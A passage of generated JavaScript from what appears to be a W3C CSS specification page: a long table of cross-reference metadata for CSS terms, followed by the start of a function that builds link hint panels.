"https://www.w3.org/TR/css-properties-values-api-1/#css-supported-syntax-component-name": {"displayText":"supported syntax component name","export":false,"for_":["CSS"],"level":"1","normative":true,"shortname":"css-properties-values-api","spec":"css-properties-values-api-1","status":"snapshot","text":"supported syntax component name","type":"dfn","url":"https://www.w3.org/TR/css-properties-values-api-1/#css-supported-syntax-component-name"}, "https://www.w3.org/TR/css-properties-values-api-1/#equivalent-token-sequence": {"displayText":"equivalent token sequence","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-properties-values-api","spec":"css-properties-values-api-1","status":"snapshot","text":"equivalent token sequence","type":"dfn","url":"https://www.w3.org/TR/css-properties-values-api-1/#equivalent-token-sequence"}, "https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property": {"displayText":"registered custom property","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-properties-values-api","spec":"css-properties-values-api-1","status":"snapshot","text":"registered custom property","type":"dfn","url":"https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property"}, "https://www.w3.org/TR/css-properties-values-api-1/#syntax-definition": {"displayText":"syntax definition","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-properties-values-api","spec":"css-properties-values-api-1","status":"snapshot","text":"syntax definition","type":"dfn","url":"https://www.w3.org/TR/css-properties-values-api-1/#syntax-definition"}, "https://www.w3.org/TR/css-properties-values-api-1/#universal-syntax-definition": {"displayText":"universal syntax definition","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-properties-values-api","spec":"css-properties-values-api-1","status":"snapshot","text":"universal syntax definition","type":"dfn","url":"https://www.w3.org/TR/css-properties-values-api-1/#universal-syntax-definition"}, "https://www.w3.org/TR/css-sizing-3/#behave-as-auto": {"displayText":"behave as auto","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-sizing","spec":"css-sizing-3","status":"snapshot","text":"behave as auto","type":"dfn","url":"https://www.w3.org/TR/css-sizing-3/#behave-as-auto"}, "https://www.w3.org/TR/css-sizing-3/#definite": {"displayText":"definite","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-sizing","spec":"css-sizing-3","status":"snapshot","text":"definite","type":"dfn","url":"https://www.w3.org/TR/css-sizing-3/#definite"}, "https://www.w3.org/TR/css-sizing-3/#intrinsic-size": {"displayText":"intrinsic size","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-sizing","spec":"css-sizing-3","status":"snapshot","text":"intrinsic size","type":"dfn","url":"https://www.w3.org/TR/css-sizing-3/#intrinsic-size"}, "https://www.w3.org/TR/css-sizing-3/#propdef-height": {"displayText":"height","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-sizing","spec":"css-sizing-3","status":"snapshot","text":"height","type":"property","url":"https://www.w3.org/TR/css-sizing-3/#propdef-height"}, "https://www.w3.org/TR/css-sizing-3/#propdef-width": {"displayText":"width","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-sizing","spec":"css-sizing-3","status":"snapshot","text":"width","type":"property","url":"https://www.w3.org/TR/css-sizing-3/#propdef-width"}, "https://www.w3.org/TR/css-sizing-3/#valdef-width-auto": {"displayText":"auto","export":true,"for_":["width","height","min-width","min-height"],"level":"3","normative":true,"shortname":"css-sizing","spec":"css-sizing-3","status":"snapshot","text":"auto","type":"value","url":"https://www.w3.org/TR/css-sizing-3/#valdef-width-auto"}, "https://www.w3.org/TR/css-sizing-3/#valdef-width-max-content": {"displayText":"max-content","export":true,"for_":["width","min-width","max-width","height","min-height","max-height"],"level":"3","normative":true,"shortname":"css-sizing","spec":"css-sizing-3","status":"snapshot","text":"max-content","type":"value","url":"https://www.w3.org/TR/css-sizing-3/#valdef-width-max-content"}, "https://www.w3.org/TR/css-sizing-3/#valdef-width-min-content": {"displayText":"min-content","export":true,"for_":["width","min-width","max-width","height","min-height","max-height"],"level":"3","normative":true,"shortname":"css-sizing","spec":"css-sizing-3","status":"snapshot","text":"min-content","type":"value","url":"https://www.w3.org/TR/css-sizing-3/#valdef-width-min-content"}, "https://www.w3.org/TR/css-sizing-4/#valdef-width-stretch": {"displayText":"stretch","export":true,"for_":["width","height","inline-size","block-size","min-width","min-height","min-inline-size","min-block-size","max-width","max-height","max-inline-size","max-block-size"],"level":"4","normative":true,"shortname":"css-sizing","spec":"css-sizing-4","status":"snapshot","text":"stretch","type":"value","url":"https://www.w3.org/TR/css-sizing-4/#valdef-width-stretch"}, "https://www.w3.org/TR/css-syntax-3/#component-value": {"displayText":"component value","export":true,"for_":["CSS"],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"component value","type":"dfn","url":"https://www.w3.org/TR/css-syntax-3/#component-value"}, "https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar": {"displayText":"parse","export":true,"for_":["CSS"],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"parse","type":"dfn","url":"https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar"}, "https://www.w3.org/TR/css-syntax-3/#parse-a-list-of-component-values": {"displayText":"parse a list of component values","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"parse a list of component values","type":"dfn","url":"https://www.w3.org/TR/css-syntax-3/#parse-a-list-of-component-values"}, "https://www.w3.org/TR/css-syntax-3/#typedef-any-value": {"displayText":"<any-value>","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"<any-value>","type":"type","url":"https://www.w3.org/TR/css-syntax-3/#typedef-any-value"}, "https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value": {"displayText":"<declaration-value>","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"<declaration-value>","type":"type","url":"https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value"}, "https://www.w3.org/TR/css-syntax-3/#typedef-delim-token": {"displayText":"<delim-token>","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"<delim-token>","type":"type","url":"https://www.w3.org/TR/css-syntax-3/#typedef-delim-token"}, "https://www.w3.org/TR/css-syntax-3/#typedef-ident-token": {"displayText":"<ident-token>","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"<ident-token>","type":"type","url":"https://www.w3.org/TR/css-syntax-3/#typedef-ident-token"}, "https://www.w3.org/TR/css-syntax-3/#typedef-percentage-token": {"displayText":"<percentage-token>","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"<percentage-token>","type":"type","url":"https://www.w3.org/TR/css-syntax-3/#typedef-percentage-token"}, "https://www.w3.org/TR/css-syntax-3/#whitespace": {"displayText":"whitespace","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-syntax","spec":"css-syntax-3","status":"snapshot","text":"whitespace","type":"dfn","url":"https://www.w3.org/TR/css-syntax-3/#whitespace"}, "https://www.w3.org/TR/css-transforms-1/#propdef-transform-origin": {"displayText":"transform-origin","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-transforms","spec":"css-transforms-1","status":"snapshot","text":"transform-origin","type":"property","url":"https://www.w3.org/TR/css-transforms-1/#propdef-transform-origin"}, "https://www.w3.org/TR/css-transforms-1/#typedef-transform-list": {"displayText":"<transform-list>","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-transforms","spec":"css-transforms-1","status":"snapshot","text":"<transform-list>","type":"type","url":"https://www.w3.org/TR/css-transforms-1/#typedef-transform-list"}, "https://www.w3.org/TR/css-transforms-2/#typedef-transform-function": {"displayText":"<transform-function>","export":true,"for_":[],"level":"2","normative":true,"shortname":"css-transforms","spec":"css-transforms-2","status":"snapshot","text":"<transform-function>","type":"type","url":"https://www.w3.org/TR/css-transforms-2/#typedef-transform-function"}, "https://www.w3.org/TR/css-transitions-1/#after-change-style": {"displayText":"after-change style","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-transitions","spec":"css-transitions-1","status":"snapshot","text":"after-change style","type":"dfn","url":"https://www.w3.org/TR/css-transitions-1/#after-change-style"}, "https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-match": {"displayText":"match","export":true,"for_":["CSSNumericValue"],"level":"1","normative":true,"shortname":"css-typed-om","spec":"css-typed-om-1","status":"snapshot","text":"match","type":"dfn","url":"https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-match"}, "https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-type": {"displayText":"type","export":true,"for_":["CSSNumericValue"],"level":"1","normative":true,"shortname":"css-typed-om","spec":"css-typed-om-1","status":"snapshot","text":"type","type":"dfn","url":"https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-type"}, "https://www.w3.org/TR/css-values-4/#addition": {"displayText":"value addition","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"value addition","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#addition"}, "https://www.w3.org/TR/css-values-4/#calc-calculation": {"displayText":"calculation","export":true,"for_":["calc()"],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"calculation","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#calc-calculation"}, "https://www.w3.org/TR/css-values-4/#comb-all": {"displayText":"&&","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"&&","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#comb-all"}, "https://www.w3.org/TR/css-values-4/#comb-any": {"displayText":"||","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"||","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#comb-any"}, "https://www.w3.org/TR/css-values-4/#comb-comma": {"displayText":",","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":",","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#comb-comma"}, "https://www.w3.org/TR/css-values-4/#comb-one": {"displayText":"|","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"|","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#comb-one"}, "https://www.w3.org/TR/css-values-4/#css-consistent-type": {"displayText":"consistent type","export":true,"for_":["CSS"],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"consistent type","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#css-consistent-type"}, "https://www.w3.org/TR/css-values-4/#css-css-identifier": {"displayText":"identifier","export":true,"for_":["CSS"],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"identifier","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#css-css-identifier"}, "https://www.w3.org/TR/css-values-4/#css-keyword": {"displayText":"keyword","export":true,"for_":["CSS"],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"keyword","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#css-keyword"}, "https://www.w3.org/TR/css-values-4/#css-make-a-type-consistent": {"displayText":"made consistent","export":true,"for_":["CSS"],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"made consistent","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#css-make-a-type-consistent"}, "https://www.w3.org/TR/css-values-4/#css-value-definition-syntax": {"displayText":"value definition syntax","export":true,"for_":["CSS"],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"value definition syntax","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#css-value-definition-syntax"}, "https://www.w3.org/TR/css-values-4/#css-wide-keywords": {"displayText":"CSS-wide keywords","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"css-wide keywords","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#css-wide-keywords"}, "https://www.w3.org/TR/css-values-4/#determine-the-type-of-a-calculation": {"displayText":"determine the type of a calculation","export":false,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"determine the type of a calculation","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#determine-the-type-of-a-calculation"}, "https://www.w3.org/TR/css-values-4/#funcdef-calc": {"displayText":"calc()","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"calc()","type":"function","url":"https://www.w3.org/TR/css-values-4/#funcdef-calc"}, "https://www.w3.org/TR/css-values-4/#funcdef-clamp": {"displayText":"clamp()","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"clamp()","type":"function","url":"https://www.w3.org/TR/css-values-4/#funcdef-clamp"}, "https://www.w3.org/TR/css-values-4/#funcdef-round": {"displayText":"round()","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"round()","type":"function","url":"https://www.w3.org/TR/css-values-4/#funcdef-round"}, "https://www.w3.org/TR/css-values-4/#functional-notation": {"displayText":"functional notation","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"functional notation","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#functional-notation"}, "https://www.w3.org/TR/css-values-4/#identifier-value": {"displayText":"<custom-ident>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<custom-ident>","type":"type","url":"https://www.w3.org/TR/css-values-4/#identifier-value"}, "https://www.w3.org/TR/css-values-4/#integer-value": {"displayText":"<integer>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<integer>","type":"type","url":"https://www.w3.org/TR/css-values-4/#integer-value"}, "https://www.w3.org/TR/css-values-4/#interpolation": {"displayText":"interpolation","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"interpolation","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#interpolation"}, "https://www.w3.org/TR/css-values-4/#length-value": {"displayText":"<length>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<length>","type":"type","url":"https://www.w3.org/TR/css-values-4/#length-value"}, "https://www.w3.org/TR/css-values-4/#math-function": {"displayText":"math function","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"math function","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#math-function"}, "https://www.w3.org/TR/css-values-4/#mult-comma": {"displayText":"#","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"#","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#mult-comma"}, "https://www.w3.org/TR/css-values-4/#mult-num": {"displayText":"{A}","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"{a}","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#mult-num"}, "https://www.w3.org/TR/css-values-4/#mult-one-plus": {"displayText":"+","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"+","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#mult-one-plus"}, "https://www.w3.org/TR/css-values-4/#mult-opt": {"displayText":"?","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"?","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#mult-opt"}, "https://www.w3.org/TR/css-values-4/#mult-zero-plus": {"displayText":"*","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"*","type":"grammar","url":"https://www.w3.org/TR/css-values-4/#mult-zero-plus"}, "https://www.w3.org/TR/css-values-4/#number-value": {"displayText":"<number>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<number>","type":"type","url":"https://www.w3.org/TR/css-values-4/#number-value"}, "https://www.w3.org/TR/css-values-4/#percentage-value": {"displayText":"<percentage>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<percentage>","type":"type","url":"https://www.w3.org/TR/css-values-4/#percentage-value"}, "https://www.w3.org/TR/css-values-4/#px": {"displayText":"px","export":true,"for_":["<length>"],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"px","type":"value","url":"https://www.w3.org/TR/css-values-4/#px"}, "https://www.w3.org/TR/css-values-4/#simplify-a-calculation-tree": {"displayText":"simplify a calculation tree","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"simplify a calculation tree","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#simplify-a-calculation-tree"}, "https://www.w3.org/TR/css-values-4/#small-viewport-size": {"displayText":"small viewport size","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"small viewport size","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#small-viewport-size"}, "https://www.w3.org/TR/css-values-4/#string-value": {"displayText":"<string>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<string>","type":"type","url":"https://www.w3.org/TR/css-values-4/#string-value"}, "https://www.w3.org/TR/css-values-4/#time-value": {"displayText":"<time>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<time>","type":"type","url":"https://www.w3.org/TR/css-values-4/#time-value"}, "https://www.w3.org/TR/css-values-4/#top-level-calculation": {"displayText":"top-level calculation","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"top-level calculation","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#top-level-calculation"}, "https://www.w3.org/TR/css-values-4/#typedef-calc-sum": {"displayText":"<calc-sum>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<calc-sum>","type":"type","url":"https://www.w3.org/TR/css-values-4/#typedef-calc-sum"}, "https://www.w3.org/TR/css-values-4/#typedef-dashed-ident": {"displayText":"<dashed-ident>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<dashed-ident>","type":"type","url":"https://www.w3.org/TR/css-values-4/#typedef-dashed-ident"}, "https://www.w3.org/TR/css-values-4/#typedef-dimension": {"displayText":"<dimension>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<dimension>","type":"type","url":"https://www.w3.org/TR/css-values-4/#typedef-dimension"}, "https://www.w3.org/TR/css-values-4/#typedef-ident": {"displayText":"<ident>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<ident>","type":"type","url":"https://www.w3.org/TR/css-values-4/#typedef-ident"}, "https://www.w3.org/TR/css-values-4/#typedef-length-percentage": {"displayText":"<length-percentage>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<length-percentage>","type":"type","url":"https://www.w3.org/TR/css-values-4/#typedef-length-percentage"}, "https://www.w3.org/TR/css-values-4/#typedef-url-modifier": {"displayText":"<url-modifier>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<url-modifier>","type":"type","url":"https://www.w3.org/TR/css-values-4/#typedef-url-modifier"}, "https://www.w3.org/TR/css-values-4/#url-request-modifier-steps": {"displayText":"URL request modifier steps","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"url request modifier steps","type":"dfn","url":"https://www.w3.org/TR/css-values-4/#url-request-modifier-steps"}, "https://www.w3.org/TR/css-values-4/#url-value": {"displayText":"<url>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-values","spec":"css-values-4","status":"snapshot","text":"<url>","type":"type","url":"https://www.w3.org/TR/css-values-4/#url-value"}, "https://www.w3.org/TR/css-values-5/#typedef-boolean-expr": {"displayText":"<boolean-expr[]>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"snapshot","text":"<boolean-expr[]>","type":"type","url":"https://www.w3.org/TR/css-values-5/#typedef-boolean-expr"}, "https://www.w3.org/TR/css-variables-1/#custom-property": {"displayText":"custom property","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-variables","spec":"css-variables-1","status":"snapshot","text":"custom property","type":"dfn","url":"https://www.w3.org/TR/css-variables-1/#custom-property"}, "https://www.w3.org/TR/css-variables-1/#funcdef-var": {"displayText":"var()","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-variables","spec":"css-variables-1","status":"snapshot","text":"var()","type":"function","url":"https://www.w3.org/TR/css-variables-1/#funcdef-var"}, "https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value": {"displayText":"guaranteed-invalid value","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-variables","spec":"css-variables-1","status":"snapshot","text":"guaranteed-invalid value","type":"dfn","url":"https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value"}, "https://www.w3.org/TR/css-variables-1/#substitute-a-var": {"displayText":"substitute a var()","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-variables","spec":"css-variables-1","status":"snapshot","text":"substitute a var()","type":"dfn","url":"https://www.w3.org/TR/css-variables-1/#substitute-a-var"}, "https://www.w3.org/TR/css-variables-1/#typedef-custom-property-name": {"displayText":"<custom-property-name>","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-variables","spec":"css-variables-1","status":"snapshot","text":"<custom-property-name>","type":"type","url":"https://www.w3.org/TR/css-variables-1/#typedef-custom-property-name"}, "https://www.w3.org/TR/css-writing-modes-4/#block-axis": {"displayText":"block axis","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-writing-modes","spec":"css-writing-modes-4","status":"snapshot","text":"block axis","type":"dfn","url":"https://www.w3.org/TR/css-writing-modes-4/#block-axis"}, "https://www.w3.org/TR/css-writing-modes-4/#end": {"displayText":"end","export":true,"for_":["CSS"],"level":"4","normative":true,"shortname":"css-writing-modes","spec":"css-writing-modes-4","status":"snapshot","text":"end","type":"dfn","url":"https://www.w3.org/TR/css-writing-modes-4/#end"}, "https://www.w3.org/TR/css-writing-modes-4/#flow-relative": {"displayText":"flow-relative","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-writing-modes","spec":"css-writing-modes-4","status":"snapshot","text":"flow-relative","type":"dfn","url":"https://www.w3.org/TR/css-writing-modes-4/#flow-relative"}, "https://www.w3.org/TR/css-writing-modes-4/#inline-axis": {"displayText":"inline axis","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-writing-modes","spec":"css-writing-modes-4","status":"snapshot","text":"inline axis","type":"dfn","url":"https://www.w3.org/TR/css-writing-modes-4/#inline-axis"}, "https://www.w3.org/TR/css-writing-modes-4/#start": {"displayText":"start","export":true,"for_":["CSS"],"level":"4","normative":true,"shortname":"css-writing-modes","spec":"css-writing-modes-4","status":"snapshot","text":"start","type":"dfn","url":"https://www.w3.org/TR/css-writing-modes-4/#start"}, "https://www.w3.org/TR/css-writing-modes-4/#writing-mode": {"displayText":"writing mode","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-writing-modes","spec":"css-writing-modes-4","status":"snapshot","text":"writing mode","type":"dfn","url":"https://www.w3.org/TR/css-writing-modes-4/#writing-mode"}, "https://www.w3.org/TR/css-writing-modes-4/#x-axis": {"displayText":"x-axis","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-writing-modes","spec":"css-writing-modes-4","status":"snapshot","text":"x-axis","type":"dfn","url":"https://www.w3.org/TR/css-writing-modes-4/#x-axis"}, "https://www.w3.org/TR/css-writing-modes-4/#y-axis": {"displayText":"y-axis","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-writing-modes","spec":"css-writing-modes-4","status":"snapshot","text":"y-axis","type":"dfn","url":"https://www.w3.org/TR/css-writing-modes-4/#y-axis"}, "https://www.w3.org/TR/cssom-1/#dom-window-getcomputedstyle": {"displayText":"getComputedStyle(elt)","export":true,"for_":["Window"],"level":"1","normative":true,"shortname":"cssom","spec":"cssom-1","status":"snapshot","text":"getComputedStyle(elt)","type":"method","url":"https://www.w3.org/TR/cssom-1/#dom-window-getcomputedstyle"}, "https://www.w3.org/TR/mediaqueries-5/#media-feature": {"displayText":"media feature","export":true,"for_":[],"level":"5","normative":true,"shortname":"mediaqueries","spec":"mediaqueries-5","status":"snapshot","text":"media feature","type":"dfn","url":"https://www.w3.org/TR/mediaqueries-5/#media-feature"}, "https://www.w3.org/TR/mediaqueries-5/#media-query": {"displayText":"media query","export":true,"for_":[],"level":"5","normative":true,"shortname":"mediaqueries","spec":"mediaqueries-5","status":"snapshot","text":"media query","type":"dfn","url":"https://www.w3.org/TR/mediaqueries-5/#media-query"}, "https://www.w3.org/TR/mediaqueries-5/#typedef-general-enclosed": {"displayText":"<general-enclosed>","export":true,"for_":[],"level":"5","normative":true,"shortname":"mediaqueries","spec":"mediaqueries-5","status":"snapshot","text":"<general-enclosed>","type":"type","url":"https://www.w3.org/TR/mediaqueries-5/#typedef-general-enclosed"}, "https://www.w3.org/TR/mediaqueries-5/#typedef-media-query": {"displayText":"<media-query>","export":true,"for_":[],"level":"5","normative":true,"shortname":"mediaqueries","spec":"mediaqueries-5","status":"snapshot","text":"<media-query>","type":"type","url":"https://www.w3.org/TR/mediaqueries-5/#typedef-media-query"}, "https://www.w3.org/TR/mediaqueries-5/#typedef-mf-name": {"displayText":"<mf-name>","export":true,"for_":[],"level":"5","normative":true,"shortname":"mediaqueries","spec":"mediaqueries-5","status":"snapshot","text":"<mf-name>","type":"type","url":"https://www.w3.org/TR/mediaqueries-5/#typedef-mf-name"}, "https://www.w3.org/TR/mediaqueries-5/#valdef-media-not": {"displayText":"not","export":true,"for_":["@media"],"level":"5","normative":true,"shortname":"mediaqueries","spec":"mediaqueries-5","status":"snapshot","text":"not","type":"value","url":"https://www.w3.org/TR/mediaqueries-5/#valdef-media-not"}, "https://www.w3.org/TR/referrer-policy/#enumdef-referrerpolicy": {"displayText":"ReferrerPolicy","export":true,"for_":[],"level":"1","normative":true,"shortname":"referrer-policy","spec":"referrer-policy","status":"snapshot","text":"ReferrerPolicy","type":"enum","url":"https://www.w3.org/TR/referrer-policy/#enumdef-referrerpolicy"}, "https://www.w3.org/TR/scroll-animations-1/#propdef-view-timeline-name": {"displayText":"view-timeline-name","export":true,"for_":[],"level":"1","normative":true,"shortname":"scroll-animations","spec":"scroll-animations-1","status":"snapshot","text":"view-timeline-name","type":"property","url":"https://www.w3.org/TR/scroll-animations-1/#propdef-view-timeline-name"}, "https://www.w3.org/TR/selectors-3/#x": {"displayText":"*","export":true,"for_":[],"level":"3","normative":true,"shortname":"selectors","spec":"selectors-3","status":"snapshot","text":"*","type":"selector","url":"https://www.w3.org/TR/selectors-3/#x"}, "https://www.w3.org/TR/selectors-4/#attribute-selector": {"displayText":"attribute selector","export":true,"for_":[],"level":"4","normative":true,"shortname":"selectors","spec":"selectors-4","status":"snapshot","text":"attribute selector","type":"dfn","url":"https://www.w3.org/TR/selectors-4/#attribute-selector"}, "https://www.w3.org/TR/selectors-4/#nth-child-pseudo": {"displayText":":nth-child()","export":true,"for_":[],"level":"4","normative":true,"shortname":"selectors","spec":"selectors-4","status":"snapshot","text":":nth-child()","type":"selector","url":"https://www.w3.org/TR/selectors-4/#nth-child-pseudo"}, "https://www.w3.org/TR/selectors-4/#originating-element": {"displayText":"originating element","export":true,"for_":[],"level":"4","normative":true,"shortname":"selectors","spec":"selectors-4","status":"snapshot","text":"originating element","type":"dfn","url":"https://www.w3.org/TR/selectors-4/#originating-element"}, "https://www.w3.org/TR/selectors-4/#pseudo-element": {"displayText":"pseudo-element","export":true,"for_":[],"level":"4","normative":true,"shortname":"selectors","spec":"selectors-4","status":"snapshot","text":"pseudo-element","type":"dfn","url":"https://www.w3.org/TR/selectors-4/#pseudo-element"}, "https://www.w3.org/TR/selectors-4/#selector": {"displayText":"selector","export":true,"for_":[],"level":"4","normative":true,"shortname":"selectors","spec":"selectors-4","status":"snapshot","text":"selector","type":"dfn","url":"https://www.w3.org/TR/selectors-4/#selector"}, "https://www.w3.org/TR/selectors-4/#ultimate-originating-element": {"displayText":"ultimate originating element","export":true,"for_":[],"level":"4","normative":true,"shortname":"selectors","spec":"selectors-4","status":"snapshot","text":"ultimate originating element","type":"dfn","url":"https://www.w3.org/TR/selectors-4/#ultimate-originating-element"}, "https://www.w3.org/TR/web-animations-1/#not-animatable": {"displayText":"not animatable","export":true,"for_":[],"level":"1","normative":true,"shortname":"web-animations","spec":"web-animations-1","status":"snapshot","text":"not animatable","type":"dfn","url":"https://www.w3.org/TR/web-animations-1/#not-animatable"}, }; function mkRefHint(link, ref) { const linkText = link.textContent; let dfnTextElements = ''; if (ref.displayText.toLowerCase() != linkText.toLowerCase()) { // Give the original term if it's being displayed in a different way. // But allow casing differences, they're insignificant. dfnTextElements = mk.li({}, mk.b({}, "Term: "), mk.span({}, ref.displayText) ); } const forList = ref.for_; let forListElements; if(forList.length == 0) { forListElements = []; } else if(forList.length == 1) { forListElements = mk.li({}, mk.b({}, "For: "), mk.span({}, forList[0]), ); } else { forListElements = mk.li({}, mk.b({}, "For: "), mk.ul({}, ...forList.map(forItem => mk.li({}, mk.span({}, forItem) ), ), ), ); } const url = ref.url; const safeUrl = encodeURIComponent(url); const hintPanel = 